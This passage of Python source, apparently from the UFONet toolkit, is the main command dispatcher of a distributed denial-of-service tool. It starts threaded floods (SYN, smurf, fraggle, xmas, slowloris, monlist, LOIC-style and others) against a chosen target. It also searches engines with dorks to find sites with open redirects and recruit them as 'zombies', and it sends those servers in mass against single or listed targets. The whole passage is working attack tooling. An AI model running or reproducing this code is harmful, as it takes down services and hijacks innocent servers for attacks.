  1062. ('goldeneye', options.goldeneye, 'GOLDENEYE', GOLDENEYE),
  1063. ]
  1064. for _flag, _val, _label, _cls in _v2_http:
  1065. if _val and _attack_target:
  1066. try:
  1067. _rounds = int(_val)
  1068. except Exception:
  1069. _rounds = 101
  1070. if _rounds < 1:
  1071. _rounds = 101
  1072. if not _banner_shown:
  1073. self.banner()
  1074. _banner_shown = True
  1075. if _label == 'GOLDENEYE':
  1076. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds, options.proxy))
  1077. else:
  1078. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1079. _t.daemon = True
  1080. _t.start()
  1081. _v2_threads.append((_flag, _t))
  1082. _mods_fired.append(_flag)
  1083. _legacy_extras = [
  1084. ('loic', options.loic, LOIC, 'http_with_proxy'),
  1085. ('loris', options.loris, LORIS, 'http'),
  1086. ('ufosyn', options.ufosyn, UFOSYN, 'raw_with_port'),
  1087. ('spray', options.spray, SPRAY, 'raw_with_port'),
  1088. ('smurf', options.smurf, SMURF, 'raw_with_port'),
  1089. ('fraggle', options.fraggle, FRAGGLE, 'raw_with_port'),
  1090. ('xmas', options.xmas, XMAS, 'raw_with_port'),
  1091. ('ufoack', options.ufoack, UFOACK, 'raw_with_port'),
  1092. ('uforst', options.uforst, UFORST, 'raw_with_port'),
  1093. ('droper', options.droper, DROPER, 'raw_with_port'),
  1094. ('overlap', options.overlap, OVERLAP, 'raw_with_port'),
  1095. ('pinger', options.pinger, PINGER, 'raw_with_port'),
  1096. ('ufoudp', options.ufoudp, UFOUDP, 'raw_with_port'),
  1097. ('nuke', options.nuke, NUKE, 'raw_simple'),
  1098. ('tachyon', options.tachyon, TACHYON, 'raw_simple'),
  1099. ('monlist', options.monlist, MONLIST, 'raw_simple'),
  1100. ('sniper', options.sniper, SNIPER, 'raw_simple'),
  1101. ]
  1102. _legacy_fired = False
  1103. _legacy_threads = []
  1104. _legacy_labels = []
  1105. for _flag, _val, _cls, _kind in _legacy_extras:
  1106. if not _val or not _attack_target:
  1107. continue
  1108. try:
  1109. _rounds = int(_val)
  1110. except Exception:
  1111. _rounds = 101
  1112. if _rounds < 1:
  1113. _rounds = 101
  1114. if not _legacy_fired:
  1115. if not _banner_shown:
  1116. self.banner()
  1117. _banner_shown = True
  1118. _legacy_fired = True
  1119. if _kind == 'http_with_proxy':
  1120. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds, options.proxy))
  1121. else:
  1122. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1123. _t.daemon = True
  1124. _t.start()
  1125. _legacy_threads.append(_t)
  1126. _legacy_labels.append(_flag)
  1127. setattr(options, _flag, None)
  1128. _all_threads = list(_v2_threads) + [(_legacy_labels[_i], _t) for _i, _t in enumerate(_legacy_threads)]
  1129. _legacy_deadline = time.time() + 30
  1130. for _flag, _t in _all_threads:
  1131. _remaining = max(0.1, _legacy_deadline - time.time())
  1132. _t.join(timeout=_remaining)
  1133. _still_alive = [_flag for _flag, _t in _all_threads if _t.is_alive()]
  1134. _mods_fired = [_f for _f in _mods_fired if _f not in _still_alive]
  1135. if _mod_target:
  1136. print("\n" + '='*55)
  1137. print("[Info] [AI] Mod-only mode summary -> [-m " + str(_mod_target) + "]")
  1138. print('='*55)
  1139. print("[Info] [AI] target : " + str(_mod_target))
  1140. if _mods_fired:
  1141. print("[Info] [AI] fired : " + ", ".join(_mods_fired))
  1142. if _legacy_fired:
  1143. _done = [l for l in _legacy_labels if l not in _still_alive]
  1144. if _done:
  1145. print("[Info] [AI] legacy : " + ", ".join(_done) + " -> [DONE]")
  1146. if _still_alive:
  1147. print("[Info] [AI] running : " + ", ".join(_still_alive) + " -> [persistent connections; cut after summary]")
  1148. if _mods_skipped:
  1149. print("[Info] [AI] skipped : " + ", ".join(_mods_skipped) + " -> [empty botnet file or placeholders only]")
  1150. if not _mods_fired and not _legacy_fired:
  1151. print("[Info] [AI] result : no mod fired -> [check Extra(s) values and botnet/*.txt files]")
  1152. print('='*55 + "\n")
  1153. sys.stdout.flush()
  1154. os._exit(0)
  1155. if _zombie_thread_started:
  1156. _zombie_thread.join(timeout=600)
  1157. if _zombie_thread.is_alive():
  1158. print("[Info] [AI] zombie attack still running (long-tail) -> [exiting after summary]")
  1159. sys.stdout.flush()
  1160. os._exit(0)
  1161. if _legacy_fired and not (options.target or options.search or options.dorks or options.autosearch or options.target_list or options.testall or options.testoffline or options.test or options.attackme):
  1162. return
  1163. # search for [Zombies] on search engines results (dorking)
  1164. if options.search:
  1165. zombies = []
  1166. if options.engine:
  1167. engine = options.engine
  1168. else:
  1169. engine = "duck" # default search engine
  1170. try:
  1171. self.banner()
  1172. if not os.path.exists(self.humans_file) == True:
  1173. f = open(self.humans_file, 'w')
  1174. f.close()
  1175. lf = open(self.humans_file, 'r')
  1176. restored = lf.readlines()
  1177. zombies_restored = len(restored)
  1178. lf.close()
  1179. lz = open(self.zombies_file, 'r')
  1180. zombies_army = lz.readlines()
  1181. for zombie in zombies_army:
  1182. zombies.append(zombie) # add zombies from army to the zombies pool
  1183. lz.close()
  1184. if len(restored) > 0:
  1185. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1186. if not self.options.forceyes:
  1187. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1188. print('-'*25)
  1189. else:
  1190. backup_reply = "Y"
  1191. if backup_reply == "n" or backup_reply == "N":
  1192. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  1193. os.remove(self.humans_file)
  1194. zombies_restored = 0 # flush zombies restored
  1195. print('-'*25 + "\n")
  1196. else:
  1197. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  1198. print('-'*25 + "\n")
  1199. for zombie in restored:
  1200. zombies.append(zombie) # add previous data to zombies pool
  1201. if options.allengines:
  1202. if options.ex_engine: # exclude some search engines manually
  1203. exclude = options.ex_engine.split(",")
  1204. for ex in exclude:
  1205. ex = ex.lower()
  1206. if ex in self.search_engines:
  1207. if len(self.search_engines) == 1: # at least one should make it
  1208. pass
  1209. else:
  1210. self.search_engines.remove(ex)
  1211. for e in self.search_engines:
  1212. engine = e
  1213. print('='*44)
  1214. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  1215. print('='*44 + '\n')
  1216. self.options.engine = engine
  1217. try:
  1218. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  1219. if zombies_chain != None:
  1220. for zombie in zombies_chain:
  1221. if zombie not in zombies: # evade possible repetitions
  1222. zombies.append(zombie)
  1223. except:
  1224. if zombies: # backup all new zombies found to file in case of exception
  1225. for zombie in zombies:
  1226. if zombie+os.linesep not in restored: # only append new zombies found
  1227. with open(self.humans_file, "a") as f:
  1228. f.write(str(zombie+os.linesep))
  1229. else:
  1230. if restored:
  1231. print('='*44)
  1232. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  1233. print('='*44 + '\n')
  1234. if restored: # from restored file
  1235. try:
  1236. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  1237. if zombies_chain != None:
  1238. for zombie in zombies_chain:
  1239. if zombie not in zombies: # evade possible repetitions
  1240. zombies.append(zombie)
  1241. except:
  1242. if zombies: # backup all new zombies found to file in case of exception
  1243. for zombie in zombies:
  1244. if zombie+os.linesep not in restored: # only append new zombies found
  1245. with open(self.humans_file, "a") as f:
  1246. f.write(str(zombie+os.linesep))
  1247. else:
  1248. try:
  1249. zombies = self.search_zombies(dork='', zombies_found=zombies)
  1250. except:
  1251. if zombies: # backup all new zombies found to file in case of exception
  1252. for zombie in zombies:
  1253. if zombie+os.linesep not in restored: # only append new zombies found
  1254. with open(self.humans_file, "a") as f:
  1255. f.write(str(zombie+os.linesep))
  1256. total_restored = zombies_restored
  1257. new_zombies = 0 # new zombies counter
  1258. f = open(self.zombies_file, 'r')
  1259. zz = f.readlines()
  1260. f.close()
  1261. zombies_found = []
  1262. for z in zombies:
  1263. if z.endswith(os.linesep):
  1264. z = z.replace(os.linesep, "")
  1265. if z not in zz and z+os.linesep not in zz:
  1266. new_zombies = new_zombies + 1
  1267. zombies_found.append(z)
  1268. print('='*62)
  1269. print("\n- Victims found:", len(zombies_found), "\n")
  1270. print(" - Restored:", total_restored)
  1271. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  1272. print('-'*32)
  1273. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1274. print('='*62 + '\n')
  1275. if len(zombies) > 0:
  1276. if not self.options.forceyes:
  1277. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1278. print('-'*25)
  1279. else:
  1280. check_backup_reply = "Y"
  1281. if check_backup_reply == "n" or check_backup_reply == "N":
  1282. if os.path.isfile(self.humans_file):
  1283. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1284. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1285. else:
  1286. with open(self.humans_file, "w") as f:
  1287. for z in zombies_found:
  1288. if z.endswith(os.linesep):
  1289. z = z.replace(os.linesep, "")
  1290. if z not in zz or z+os.linesep not in zz:
  1291. f.write(z+os.linesep)
  1292. f.close()
  1293. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1294. print('-'*25 + "\n")
  1295. if new_zombies and new_zombies > 0:
  1296. if not self.options.forceyes:
  1297. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1298. print('-'*25 + "\n")
  1299. else:
  1300. check_url_link_reply = "Y"
  1301. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1302. print("[AI] "+self.exit_msg+"\n")
  1303. pass
  1304. else:
  1305. print("\n" + '='*44)
  1306. test = self.testing(zombies_found)
  1307. else:
  1308. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  1309. except Exception:
  1310. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1311. if DEBUG == True:
  1312. traceback.print_exc()
  1313. # search for [Zombies] from a list of [Dorks]
  1314. if options.dorks:
  1315. if options.engine:
  1316. engine = options.engine
  1317. else:
  1318. engine = "duck" # default search engine
  1319. try:
  1320. dorks = self.extract_dorks()
  1321. if not dorks:
  1322. return
  1323. zombies = []
  1324. self.banner()
  1325. if not os.path.exists(self.humans_file) == True:
  1326. f = open(self.humans_file, 'w')
  1327. f.close()
  1328. lf = open(self.humans_file, 'r')
  1329. restored = lf.readlines()
  1330. zombies_restored = len(restored)
  1331. lf.close()
  1332. lz = open(self.zombies_file, 'r')
  1333. zombies_army = lz.readlines()
  1334. for zombie in zombies_army:
  1335. zombies.append(zombie) # add zombies from army to the zombies pool
  1336. lz.close()
  1337. if len(restored) > 0:
  1338. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1339. if not self.options.forceyes:
  1340. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1341. print('-'*25)
  1342. else:
  1343. backup_reply = "Y"
  1344. if backup_reply == "n" or backup_reply == "N":
  1345. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  1346. os.remove(self.humans_file)
  1347. zombies_restored = 0 # flush zombies restored
  1348. print('-'*25 + "\n")
  1349. else:
  1350. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  1351. print('-'*25 + "\n")
  1352. for zombie in restored:
  1353. zombies.append(zombie) # add previous data to zombies pool
  1354. total_restored = zombies_restored
  1355. if options.allengines:
  1356. if options.ex_engine: # exclude some search engines manually
  1357. exclude = options.ex_engine.split(",")
  1358. for ex in exclude:
  1359. ex = ex.lower()
  1360. if ex in self.search_engines:
  1361. if len(self.search_engines) == 1: # at least one should make it
  1362. pass
  1363. else:
  1364. self.search_engines.remove(ex)
  1365. for e in self.search_engines:
  1366. engine = e
  1367. print('='*44)
  1368. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  1369. print('='*44 + '\n')
  1370. self.options.engine = engine
  1371. for dork in dorks:
  1372. print('='*22)
  1373. print("Dork:", dork)
  1374. print('='*22 + '\n')
  1375. try:
  1376. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  1377. for zombie in dorked_zombies:
  1378. if zombie not in zombies: # evade repetitions for zombies found
  1379. zombies.append(zombie)
  1380. if zombie+os.linesep not in restored: # only append new zombies found
  1381. with open(self.humans_file, "a") as f:
  1382. f.write(str(zombie+os.linesep))
  1383. f.close()
  1384. except:
  1385. if zombies: # backup new zombies found on exception
  1386. for zombie in zombies:
  1387. if zombie+os.linesep not in restored: # only append new zombies found
  1388. with open(self.humans_file, "a") as f:
  1389. f.write(str(zombie+os.linesep))
  1390. f.close()
  1391. else:
  1392. if restored:
  1393. print('='*44)
  1394. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  1395. print('='*44 + '\n')
  1396. for dork in dorks:
  1397. print('='*22)
  1398. print("Dork:", dork)
  1399. print('='*22 + '\n')
  1400. try:
  1401. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  1402. if dorked_zombies != None:
  1403. for zombie in dorked_zombies:
  1404. if zombie not in zombies: # evade repetitions for zombies found
  1405. zombies.append(zombie)
  1406. except:
  1407. if zombies: # backup new zombies found on exception
  1408. for zombie in zombies:
  1409. if zombie+os.linesep not in restored: # only append new zombies found
  1410. with open(self.humans_file, "a") as f:
  1411. f.write(str(zombie+os.linesep))
  1412. f.close()
  1413. new_zombies = 0 # new zombies counter
  1414. f = open(self.zombies_file, 'r')
  1415. zz = f.readlines()
  1416. f.close()
  1417. zombies_found = []
  1418. for z in zombies:
  1419. if z.endswith(os.linesep):
  1420. z = z.replace(os.linesep, "")
  1421. if z not in zz and z+os.linesep not in zz:
  1422. new_zombies = new_zombies + 1
  1423. zombies_found.append(z)
  1424. print('='*62)
  1425. print("\n- Victims found:", len(zombies_found), "\n")
  1426. print(" - Restored:", total_restored)
  1427. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  1428. print('-'*32)
  1429. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1430. print('='*62 + '\n')
  1431. if len(zombies_found) > 0:
  1432. if not self.options.forceyes:
  1433. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1434. print('-'*25)
  1435. else:
  1436. check_backup_reply = "Y"
  1437. if check_backup_reply == "n" or check_backup_reply == "N":
  1438. if os.path.isfile(self.humans_file):
  1439. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1440. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1441. else:
  1442. with open(self.humans_file, "w") as f:
  1443. for z in zombies_found:
  1444. if z.endswith(os.linesep):
  1445. z = z.replace(os.linesep, "")
  1446. if z not in zz or z+os.linesep not in zz:
  1447. f.write(z+os.linesep)
  1448. f.close()
  1449. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1450. print('-'*25 + "\n")
  1451. if new_zombies and new_zombies > 0:
  1452. if not self.options.forceyes:
  1453. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1454. print('-'*25 + "\n")
  1455. else:
  1456. check_url_link_reply = "Y"
  1457. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1458. print("[AI] "+self.exit_msg+"\n")
  1459. pass
  1460. else:
  1461. print("\n" + '='*44)
  1462. test = self.testing(zombies_found)
  1463. else:
  1464. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1465. except Exception:
  1466. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1467. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  1468. if options.autosearch:
  1469. try:
  1470. dorks = self.extract_dorks()
  1471. except:
  1472. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  1473. return
  1474. engines_list = list(self.search_engines)
  1475. if options.engine:
  1476. sel = options.engine.lower()
  1477. if sel in engines_list:
  1478. engines_list = [sel]
  1479. else:
  1480. print("\n[Info] [AI] Search engine '"+str(options.engine)+"' not supported -> [Using all engines!]\n")
  1481. if options.ex_engine:
  1482. for ex in options.ex_engine.split(","):
  1483. ex = ex.lower().strip()
  1484. if ex in engines_list and len(engines_list) > 1:
  1485. engines_list.remove(ex)
  1486. stop_flag = False # use a flag to establish an end
  1487. try:
  1488. self.banner()
  1489. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  1490. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  1491. print('-'*25 + "\n")
  1492. zombies_found = []
  1493. lz = open(self.zombies_file, 'r')
  1494. zombies_army = lz.readlines()
  1495. for zombie in zombies_army:
  1496. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  1497. lz.close()
  1498. if not os.path.exists(self.humans_file) == True:
  1499. f = open(self.humans_file, 'w')
  1500. f.close()
  1501. lf = open(self.humans_file, 'r')
  1502. restored = lf.readlines()
  1503. zombies_restored = len(restored)
  1504. lf.close()
  1505. if len(restored) > 0:
  1506. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1507. if not self.options.forceyes:
  1508. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1509. print('-'*25)
  1510. else:
  1511. backup_reply = "Y"
  1512. if backup_reply == "n" or backup_reply == "N":
  1513. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  1514. os.remove(self.humans_file)
  1515. zombies_restored = 0 # flush zombies restored
  1516. print('-'*25 + "\n")
  1517. else:
  1518. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  1519. print('-'*25 + "\n")
  1520. for zombie in restored:
  1521. zombies_found.append(zombie) # add previous data to zombies found pool
  1522. total_restored = zombies_restored
  1523. while stop_flag == False:
  1524. if not os.path.exists(self.humans_file) == True:
  1525. f = open(self.humans_file, 'w')
  1526. f.close()
  1527. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  1528. restored = lf.readlines()
  1529. lf.close()
  1530. zombies_restored = len(restored)
  1531. for e in list(engines_list):
  1532. zombies_counter = 0 # use it also as (engine) flag
  1533. engine = e
  1534. self.options.engine = engine
  1535. print('='*44 + '\n')
  1536. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1537. print('='*44 + '\n')
  1538. for dork in dorks:
  1539. print('='*22)
  1540. print("Dork:", dork)
  1541. print('='*22 + '\n')
  1542. try:
  1543. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1544. if dorked_zombies is None:
  1545. break
  1546. for zombie in dorked_zombies:
  1547. if zombie not in zombies_found: # evade repetitions for zombies found
  1548. zombies_found.append(zombie)
  1549. if zombie+os.linesep not in restored: # only append new zombies found
  1550. with open(self.humans_file, "a") as f:
  1551. f.write(str(zombie+os.linesep))
  1552. f.close()
  1553. zombies_counter = zombies_counter + 1
  1554. except:
  1555. if zombies_found: # backup new zombies found on exception
  1556. for zombie in zombies_found:
  1557. if zombie+os.linesep not in restored: # only append new zombies found
  1558. with open(self.humans_file, "a") as f:
  1559. f.write(str(zombie+os.linesep))
  1560. f.close()
  1561. if zombies_counter == 0:
  1562. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1563. print('-'*25 + "\n")
  1564. engines_list.remove(engine) # remove not more results engine from search engines list
  1565. if not engines_list: # if search engines empty, call return-exit routine
  1566. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1567. print('-'*25 + "\n")
  1568. stop_flag = True # exit flag up
  1569. new_zombies = 0 # new zombies counter
  1570. f = open(self.zombies_file, 'r')
  1571. zz = f.readlines()
  1572. f.close()
  1573. all_zombies_found = []
  1574. for z in zombies_found:
  1575. if z.endswith(os.linesep):
  1576. z = z.replace(os.linesep, "")
  1577. if z not in zz and z+os.linesep not in zz:
  1578. new_zombies = new_zombies + 1
  1579. all_zombies_found.append(z)
  1580. print('='*62)
  1581. print("\n- Victims found:", len(all_zombies_found), "\n")
  1582. print(" - Restored:", total_restored)
  1583. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1584. print('-'*32)
  1585. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1586. print('='*62 + '\n')
  1587. if len(zombies_found) > 0:
  1588. if not self.options.forceyes:
  1589. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1590. print('-'*25)
  1591. else:
  1592. check_backup_reply = "Y"
  1593. if check_backup_reply == "n" or check_backup_reply == "N":
  1594. if os.path.isfile(self.humans_file):
  1595. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1596. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1597. else:
  1598. with open(self.humans_file, "w") as f:
  1599. for z in all_zombies_found:
  1600. if z.endswith(os.linesep):
  1601. z = z.replace(os.linesep, "")
  1602. if z not in zz or z+os.linesep not in zz:
  1603. f.write(z+os.linesep)
  1604. f.close()
  1605. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1606. print('-'*25 + "\n")
  1607. if new_zombies and new_zombies > 0:
  1608. if not self.options.forceyes:
  1609. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1610. print('-'*25 + "\n")
  1611. else:
  1612. check_url_link_reply = "Y"
  1613. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1614. print("[AI] "+self.exit_msg+"\n")
  1615. pass
  1616. else:
  1617. print("\n" + '='*44)
  1618. test = self.testing(all_zombies_found)
  1619. else:
  1620. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1621. except Exception:
  1622. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1623. # test web 'zombie' servers -> show statistics
  1624. if options.test:
  1625. try:
  1626. self.banner()
  1627. zombies = self.extract_zombies()
  1628. if not zombies:
  1629. return
  1630. test = self.testing(zombies)
  1631. self.update_missions_stats() # update mothership missions stats
  1632. except Exception:
  1633. print ("\n[Error] [AI] Something wrong testing!\n")
  1634. if DEBUG == True:
  1635. traceback.print_exc()
  1636. # test XML-'rpc' pingback vulnerable servers -> update list
  1637. if options.testrpc:
  1638. try:
  1639. self.banner()
  1640. rpcs = self.extract_rpcs()
  1641. if not rpcs:
  1642. return
  1643. testrpc = self.testing_rpcs(rpcs)
  1644. self.update_missions_stats() # update mothership missions stats
  1645. except Exception:
  1646. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1647. if DEBUG == True:
  1648. traceback.print_exc()
  1649. # check botnet searching for zombies offline
  1650. if options.testoffline:
  1651. try:
  1652. self.banner()
  1653. testbotnet = self.testing_offline()
  1654. self.update_missions_stats() # update mothership missions stats
  1655. except Exception:
  1656. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1657. if DEBUG == True:
  1658. traceback.print_exc()
  1659. # check ALL botnet status
  1660. if options.testall:
  1661. try:
  1662. self.banner()
  1663. test_all_botnet = self.testing_all()
  1664. self.update_missions_stats() # update mothership missions stats
  1665. except Exception:
  1666. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1667. if DEBUG == True:
  1668. traceback.print_exc()
  1669. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1670. if options.target:
  1671. try:
  1672. self.banner()
  1673. from core._botnet import is_placeholder as _is_ph
  1674. zombies = self.extract_zombies() or []
  1675. zombies = [z for z in zombies if not _is_ph(z)]
  1676. if not zombies:
  1677. print("\n[Error] [AI] No real zombies in botnet/zombies.txt (file empty or only placeholders).")
  1678. print("[Info] [AI] Populate it first: ./ufonet -s 'page.php?url=' (or --auto-search / --sd botnet/dorks.txt)")
  1679. print("[Info] [AI] -> [Aborting!]\n")
  1680. sys.stdout.flush()
  1681. os._exit(0)
  1682. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1683. attack = self.attacking(zombies, options.target)
  1684. self.update_missions_stats() # update mothership missions stats
  1685. sys.stdout.flush()
  1686. os._exit(0)
  1687. except Exception:
  1688. print ("\n[Error] [AI] Something wrong attacking!\n")
  1689. if DEBUG == True:
  1690. traceback.print_exc()
  1691. sys.stdout.flush()
  1692. os._exit(1)
  1693. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1694. if options.target_list:
  1695. try:
  1696. self.banner()
  1697. zombies = self.extract_zombies()
  1698. if not zombies:
  1699. return
  1700. targets = self.extract_target_list()
  1701. if not targets:
  1702. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1703. return
  1704. self.options.forceyes = True # force-yes ON!
  1705. self.num_target_list = 0
  1706. print("\n[AI] Checking integrity of targets...\n")
  1707. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1708. if not t.startswith("http"): # discarded inmediately
  1709. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1710. targets.remove(t) # ¿remove? invalid targets
  1711. print("")
  1712. c = 0
  1713. for target in targets:
  1714. if target == "":
  1715. c = c + 1
  1716. else:
  1717. self.num_target_list = self.num_target_list + 1
  1718. if c == len(targets):
  1719. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1720. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1721. else:
  1722. for target in targets:
  1723. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1724. target = self.options.target
  1725. print('='*55 + "\n")
  1726. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1727. print("="*55)
  1728. attack = self.attacking(zombies, target)
  1729. self.update_missions_stats() # update mothership missions stats (each target counts)
  1730. except Exception:
  1731. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1732. if DEBUG == True:
  1733. traceback.print_exc()
  1734. # inspect target -> inspect target's components sizes
  1735. if options.inspect:
  1736. try:
  1737. self.banner()
  1738. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1739. print('='*22 + '\n')
  1740. self.instance = Inspector(self) # instance main class for inspection operations
  1741. inspection = self.instance.inspecting(options.inspect)
  1742. self.update_missions_stats() # update mothership missions stats
  1743. except Exception as e:
  1744. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1745. if DEBUG == True:
  1746. traceback.print_exc()
  1747. return #sys.exit(2)
  1748. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1749. if options.abduction:
  1750. try:
  1751. self.banner()
  1752. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1753. print('='*22 + '\n')
  1754. self.instance = Abductor(self) # instance main class for abduction operations
  1755. abduction = self.instance.abducting(options.abduction)
  1756. self.update_missions_stats() # update mothership missions stats
  1757. except Exception as e:
  1758. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1759. if DEBUG == True:
  1760. traceback.print_exc()
  1761. return #sys.exit(2)
  1762. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1763. if options.attackme:
  1764. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1765. try:
  1766. self.banner()
  1767. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1768. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1769. if not self.options.forceyes:
  1770. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1771. else:
  1772. update_reply = "Y"
  1773. if update_reply == "n" or update_reply == "N":
  1774. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1775. return
  1776. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1777. print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
  1778. print("\n[AI] Checking NAT/IP configuration:\n")
  1779. nat = self.check_nat()
  1780. f = open("alien", "w") # generate random alien worker
  1781. f.write(str(self.mothership_hash))
  1782. f.close()
  1783. if self.nat_error_flag == "ON":
  1784. return
  1785. zombies = self.extract_zombies()
  1786. if not zombies:
  1787. return
  1788. attackme = self.attackme(zombies)
  1789. self.update_missions_stats() # update mothership missions stats
  1790. except Exception as e:
  1791. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1792. if DEBUG == True:
  1793. traceback.print_exc()
  1794. return #sys.exit(2)
  1795. # check/update for latest stable version
  1796. if options.update:
  1797. self.banner()
  1798. try:
  1799. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1800. Updater()
  1801. except:
  1802. print("Not any .git repository found!\n")
  1803. print("="*30)
  1804. print("\nTo have working this feature, you should clone UFONet with:\n")
  1805. print("$ git clone %s" % self.GIT_REPOSITORY)
  1806. print("\nAlso you can try this other mirror:\n")
  1807. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1808. # launch GUI/Web interface
  1809. if options.web:
  1810. self.create_web_interface()
  1811. return
  1812. # deploy data to share in [/var/www/ufonet]
  1813. if options.deploy:
  1814. self.banner()
  1815. euid = self.checkeuid()
  1816. if euid != 0:
  1817. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1818. try:
  1819. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1820. os.execlpe('sudo', *args)
  1821. except:
  1822. pass
  1823. try:
  1824. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1825. np = r''+self.warping_path+''
  1826. if not os.path.exists(np):
  1827. os.makedirs(np)
  1828. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1829. else:
